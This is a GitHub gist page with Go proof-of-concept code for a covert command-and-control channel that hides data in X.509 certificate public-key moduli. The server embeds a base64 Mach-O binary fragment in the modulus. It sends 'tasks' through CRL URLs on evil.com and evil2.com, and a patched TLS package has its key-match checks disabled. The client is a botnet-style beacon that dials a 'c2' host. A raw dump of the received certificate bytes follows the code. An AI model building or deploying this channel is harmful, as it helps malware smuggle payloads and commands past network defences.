-
-
Save sysopfb/d9deb9b8481e116cad1d62ceb5093073 to your computer and use it in GitHub Desktop.
x509 Public key modulus covert channel
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Part of Server code | |
priv, _ := rsa.GenerateKey(rand.Reader, 4096) | |
test := "z/rt/gcAAAEDAACAAgAAAA8AAACwBAAAhQAgAAAAAAAZAAAASAAAAF9fUEFHRVpFUk8AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAA2AEAAF9fVEVYVAAAAAAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAcAAAAFAAAABQAAAAAAAABfX3RleHQAAAAAAAAAAAAAX19URVhUAAAAAAAAAAAAAGAPAAABAAAAKgAAAAAAAABgDwAABAAAAAAAAAAAAAAAAAQAgAAAAAAAAAAAAAAAAF9fc3R1YnMAAAAAAAAAAABfX1RFWFQAAAAAAAAAAAAAig8AAAEAAAAGAAAAAAAAAIoPAAABAAAAAAAAAAAAAAAIBACAAAAAAAYAAAAAAAAAX19zdHViX2hlbHBlcgAAAF9fVEVYVAAAAAAAAAAAAACQDwAAAQAAABoAAAAAAAAAkA8AAAIAAAAAAAAAAAAAAAAEAIAAAAAAAAAAAAAAAABfX2NzdHJpbmcAAAAAAAAAX19URVhUAAAAAAAAAAAAAKoPAAABAAAADQAAAAAAAACqDwAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAF9fdW53aW5kX2luZm8AAAA=" | |
data, _ := base64.StdEncoding.DecodeString(test) | |
_, ca, pv := helper.GenCertWithPubMod("EICAR", data, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv) | |
cert, err := customtls.X509KeyPair(ca, pv) | |
if err != nil { | |
log.Fatalf("server: loadkeys: %s", err) | |
} | |
cert2 := tls.Certificate{Certificate: cert.Certificate, PrivateKey: cert.PrivateKey, OCSPStaple: cert.OCSPStaple, SignedCertificateTimestamps: cert.SignedCertificateTimestampList, Leaf: cert.Leaf} | |
config := tls.Config{Certificates: []tls.Certificate{cert2}} | |
config.InsecureSkipVerify = true | |
config.VerifyPeerCertificate = verifyHook | |
config.ClientAuth = tls.RequireAnyClientCert | |
config.Rand = rand.Reader | |
service := "0.0.0.0:4433" | |
//In order to do that I had to comment out the private key and public key protections in the standard GO TLS package | |
//customtls | |
//From common.go | |
type Certificate struct { | |
Certificate [][]byte | |
PrivateKey crypto.PrivateKey // supported types: *rsa.PrivateKey, *ecdsa.PrivateKey | |
// OCSPStaple contains an optional OCSP response which will be served | |
// to clients that request it. | |
OCSPStaple []byte | |
// SignedCertificateTimestampList contains an optional encoded | |
// SignedCertificateTimestampList structure which will be | |
// served to clients that request it. | |
SignedCertificateTimestampList [][]byte | |
// Leaf is the parsed form of the leaf certificate, which may be | |
// initialized using x509.ParseCertificate to reduce per-handshake | |
// processing for TLS clients doing client authentication. If nil, the | |
// leaf certificate will be parsed as needed. | |
Leaf *x509.Certificate | |
} | |
// LoadX509KeyPair reads and parses a public/private key pair from a pair | |
// of files. The files must contain PEM encoded data. The certificate file | |
// may contain intermediate certificates following the leaf certificate to | |
// form a certificate chain. On successful return, Certificate.Leaf will | |
// be nil because the parsed form of the certificate is not retained. | |
func LoadX509KeyPair(certFile, keyFile string) (Certificate, error) { | |
certPEMBlock, err := ioutil.ReadFile(certFile) | |
if err != nil { | |
return Certificate{}, err | |
} | |
keyPEMBlock, err := ioutil.ReadFile(keyFile) | |
if err != nil { | |
return Certificate{}, err | |
} | |
return X509KeyPair(certPEMBlock, keyPEMBlock) | |
} | |
// X509KeyPair parses a public/private key pair from a pair of | |
// PEM encoded data. On successful return, Certificate.Leaf will be nil because | |
// the parsed form of the certificate is not retained. | |
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) { | |
fail := func(err error) (Certificate, error) { return Certificate{}, err } | |
var cert Certificate | |
var skippedBlockTypes []string | |
for { | |
var certDERBlock *pem.Block | |
certDERBlock, certPEMBlock = pem.Decode(certPEMBlock) | |
if certDERBlock == nil { | |
break | |
} | |
if certDERBlock.Type == "CERTIFICATE" { | |
cert.Certificate = append(cert.Certificate, certDERBlock.Bytes) | |
} else { | |
skippedBlockTypes = append(skippedBlockTypes, certDERBlock.Type) | |
} | |
} | |
if len(cert.Certificate) == 0 { | |
if len(skippedBlockTypes) == 0 { | |
return fail(errors.New("tls: failed to find any PEM data in certificate input")) | |
} | |
if len(skippedBlockTypes) == 1 && strings.HasSuffix(skippedBlockTypes[0], "PRIVATE KEY") { | |
return fail(errors.New("tls: failed to find certificate PEM data in certificate input, but did find a private key; PEM inputs may have been switched")) | |
} | |
return fail(fmt.Errorf("tls: failed to find \"CERTIFICATE\" PEM block in certificate input after skipping PEM blocks of the following types: %v", skippedBlockTypes)) | |
} | |
skippedBlockTypes = skippedBlockTypes[:0] | |
var keyDERBlock *pem.Block | |
for { | |
keyDERBlock, keyPEMBlock = pem.Decode(keyPEMBlock) | |
if keyDERBlock == nil { | |
if len(skippedBlockTypes) == 0 { | |
return fail(errors.New("tls: failed to find any PEM data in key input")) | |
} | |
if len(skippedBlockTypes) == 1 && skippedBlockTypes[0] == "CERTIFICATE" { | |
return fail(errors.New("tls: found a certificate rather than a key in the PEM for the private key")) | |
} | |
return fail(fmt.Errorf("tls: failed to find PEM block with type ending in \"PRIVATE KEY\" in key input after skipping PEM blocks of the following types: %v", skippedBlockTypes)) | |
} | |
if keyDERBlock.Type == "PRIVATE KEY" || strings.HasSuffix(keyDERBlock.Type, " PRIVATE KEY") { | |
break | |
} | |
skippedBlockTypes = append(skippedBlockTypes, keyDERBlock.Type) | |
} | |
var err error | |
cert.PrivateKey, err = parsePrivateKey(keyDERBlock.Bytes) | |
if err != nil { | |
return fail(err) | |
} | |
// We don't need to parse the public key for TLS, but we so do anyway | |
// to check that it looks sane and matches the private key. | |
x509Cert, err := x509.ParseCertificate(cert.Certificate[0]) | |
if err != nil { | |
return fail(err) | |
} | |
switch pub := x509Cert.PublicKey.(type) { | |
case *rsa.PublicKey: | |
priv, ok := cert.PrivateKey.(*rsa.PrivateKey) | |
if !ok { | |
return fail(errors.New("tls: private key type does not match public key type")) | |
} | |
if pub.N.Cmp(priv.N) != 0 { | |
//return fail(errors.New("tls: private key does not match public key")) | |
} | |
case *ecdsa.PublicKey: | |
priv, ok := cert.PrivateKey.(*ecdsa.PrivateKey) | |
if !ok { | |
return fail(errors.New("tls: private key type does not match public key type")) | |
} | |
if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 { | |
//return fail(errors.New("tls: private key does not match public key")) | |
} | |
default: | |
return fail(errors.New("tls: unknown public key algorithm")) | |
} | |
return cert, nil | |
} | |
// Attempt to parse the given private key DER block. OpenSSL 0.9.8 generates | |
// PKCS#1 private keys by default, while OpenSSL 1.0.0 generates PKCS#8 keys. | |
// OpenSSL ecparam generates SEC1 EC private keys for ECDSA. We try all three. | |
func parsePrivateKey(der []byte) (crypto.PrivateKey, error) { | |
if key, err := x509.ParsePKCS1PrivateKey(der); err == nil { | |
return key, nil | |
} | |
if key, err := x509.ParsePKCS8PrivateKey(der); err == nil { | |
switch key := key.(type) { | |
case *rsa.PrivateKey, *ecdsa.PrivateKey: | |
return key, nil | |
default: | |
return nil, errors.New("tls: found unknown private key type in PKCS#8 wrapping") | |
} | |
} | |
if key, err := x509.ParseECPrivateKey(der); err == nil { | |
return key, nil | |
} | |
return nil, errors.New("tls: failed to parse private key") | |
} | |
//Client code | |
func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { | |
cert, _ := x509.ParseCertificate(rawCerts[0]) | |
fmt.Println(cert.PublicKey.(*rsa.PublicKey).N.Bytes()) | |
return nil | |
} | |
type settings struct { | |
c2 string | |
port string | |
botnet string | |
priv *rsa.PrivateKey | |
} | |
func SendData(settings settings, data string) { | |
_, ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv) | |
c2 := settings.c2 + ":" + settings.port | |
cert, err := tls.X509KeyPair(ca, pv) | |
if err != nil { | |
log.Fatalf("server: loadkeys: %s", err) | |
} | |
config := tls.Config{Certificates: []tls.Certificate{cert}, VerifyPeerCertificate: verifyHook, InsecureSkipVerify: true} | |
conn, err := tls.Dial("tcp", c2, &config) | |
if err != nil { | |
log.Fatalf("client: dial: %s", err) | |
} | |
defer conn.Close() | |
log.Println("client: connected to: ", conn.RemoteAddr()) | |
state := conn.ConnectionState() | |
for _, v := range state.PeerCertificates { | |
fmt.Println("Tasks: ", v.CRLDistributionPoints) | |
} | |
log.Println("client: handshake: ", state.HandshakeComplete) | |
log.Println("client: mutual: ", state.NegotiatedProtocolIsMutual) | |
log.Print("client: exiting") | |
} | |
func main() { | |
priv, _ := rsa.GenerateKey(rand.Reader, 4096) | |
c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv} | |
SendData(c2_settings, "Im Alive") | |
} | |
//Portion of helper code for replacing the public key | |
pub := &priv.PublicKey | |
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv) | |
privPem := pem.EncodeToMemory(&pem.Block{ | |
Type: "RSA PRIVATE KEY", | |
Bytes: x509.MarshalPKCS1PrivateKey(priv), | |
}) | |
//Replace the public key modulus | |
bs := pub.N.Bytes() | |
newTest := bytes.Replace(ca_b, bs, data, 1) | |
if err != nil { | |
log.Fatalf("create cert failed %#v", err) | |
panic("Cert Creation Error") | |
} | |
certPem := pem.EncodeToMemory(&pem.Block{ | |
Type: "CERTIFICATE", | |
Bytes: newTest, | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Get an error after the server certificate hits the client in the TLS negotiation because some more code is validating the certificate data and throwing an error but we still have access to the data. The main downside with this is without rewriting another standard GO package the connection is killed and thus the client certificate is never sent.
Data received on the client from the server prior to killing the connection:
'0\x82\x05\x8e0\x82\x03v\xa0\x03\x02\x01\x02\x02\x02\x0590\r\x06\t*\x86H\x86\xf7\r\x01\x01\r\x05\x000G1\x100\x0e\x06\x03U\x04\x06\x13\x07Neuland1\x140\x12\x06\x03U\x04\n\x13\x0bExample Org1\r0\x0b\x06\x03U\x04\x0b\x13\x04Auto1\x0e0\x0c\x06\x03U\x04\x03\x13\x05EICAR0\x1e\x17\r180129020502Z\x17\r180208020502Z0G1\x100\x0e\x06\x03U\x04\x06\x13\x07Neuland1\x140\x12\x06\x03U\x04\n\x13\x0bExample Org1\r0\x0b\x06\x03U\x04\x0b\x13\x04Auto1\x0e0\x0c\x06\x03U\x04\x03\x13\x05EICAR0\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xcf\xfa\xed\xfe\x07\x00\x00\x01\x03\x00\x00\x80\x02\x00\x00\x00\x0f\x00\x00\x00\xb0\x04\x00\x00\x85\x00 \x00\x00\x00\x00\x00\x19\x00\x00\x00H\x00\x00\x00__PAGEZERO\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\xd8\x01\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00__text\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x0f\x00\x00\x01\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00
\x0f\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__stubs\x00\x00\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x0f\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x8a\x0f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x04\x00\x80\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00__stub_helper\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x0f\x00\x00\x01\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x90\x0f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__cstring\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\x0f\x00\x00\x01\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xaa\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__unwind_info\x00\x00\x00\x02\x03\x01\x00\x01\xa3\x81\x830\x81\x800\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x02\x840\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x020\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0H\x06\x03U\x1d\x1f\x04A0?0\x1d\xa0\x1b\xa0\x19\x86\x17http://evil.com/ca1.crl0\x1e\xa0\x1c\xa0\x1a\x86\x18http://evil2.com/ca2.crl0\r\x06\t*\x86H\x86\xf7\r\x01\x01\r\x05\x00\x03\x82\x02\x01\x00\x96NHP.N\x17\x06\x8e;\x1bE\xbcyX\x94\xd3\x9d\x01\x82\xc3\xd2>aB\xed\xd4*\xbb\xa11l\x97*V\xa31bt\x1e\xc0s\xc5&\xa3\xfc?\xe3\xac\x90\xad\x1a\xde\xf8\x0e\xe9b\xc8\x89\xdd\x98k\xb7\xadpW\xdb\xc9_s\x1cBf\t\x1c\xd1\xa7\x8d\x9dn\x88}\x93\xa9\x02\xef\xe0|\n\xe0\x12\xceq7X\xfc\xe0\x98\x0b\x95\xda(0\xc7Q\xc3v#^\xdd\xb2P\x93\x00\x07#\x01f\xf6h\x8b\xa4Uq\\\x08\xd8tj\xcew\x95@\x97%p\x7fm\xe9\xa2\xc3\x99$\x8c\xb5\xac\xfe\x1e\xa9\xef\xae!\xe8l\x10\x06!m\x90\xe0r\x87o\xa3\x1b\xde(\x0e\xc4FP\xb6Zp\x07,\xee\xa4\x14\x12[S5*\xce\x88\x1fb\xaf\x9e\xaf\xbd\xae\xc3\xc2\xea\x7f\x0cI\xbaJ\xa4\x1cT\x99\xffKvM\xb4K\xc0l\xbf\xfa\x1e\xf1z\xedH\xc3T\x07\xa6\xe5\x86\xfca\x01p\xa2\xe69]\xd5\x1f)\xc0\x95\xa3\xb8.Z\x97\xab\x82\x8d*3\x0c\x93\xad \xfcgf\xd1\xddm\x9bO[P7w#\x10\xd9\xe2$\xffi. ?\xe6;\xbf\xec\x9eh\xaa\xed\xb6\xa7\x97\xf4\xdb\xdd\xc7\xd5\x1c\x9bJV\x1bD\x93\x1b\xc1\x1d\xcbjyQA-P\x9dT\x19\xbbY\x10\xb6\xf9\xf7\xa0\x9a\x9c\xbd\xcb\x82\xb5,\x9f\xf9\xc4\xf2 \xf3yY\x9b}-\rx\xe1^\ra\x9b\x89r\xab\xd1\xb5\xe2<\x88\x82,\x1b,IKM8\nHr\xe6\xac\x82,k\x80\xd6#/\xfc6\xe3\xf5\x8f\x16e\xea\x17\xda\x88\x82\xc7?\x97!\x17\x87\r\x01i\x8cz\xf38?\xd5\xfa\x84;\x9b1\xa0j\xb7\xd6[:\xb5\x1af\xed\x00J\x981\xdd5
\x0c\x85\xad\x13k\Sn\xf7\xec\xba\x90\x00\xa8\x96 a7}\xd2\xb7Vn\xa4$\xf7\xb7I\x02\t\xc5!\x91+8\x96\xa2Hm\xfd\x97\x96\xfa\xdd\xa6\x0fs\xda\xf4$G\x9c\xb2\x8b\x11\x8a;\x80\xec\x1a\x91\x1b\x83\xac_k\xd5@V\xafG=\x927\x9c\xbc\xdd\x0e\xd3\xdd\xda\x0e\xe5\xaf\x0bd\xef\xd1\x84\xee\xc9'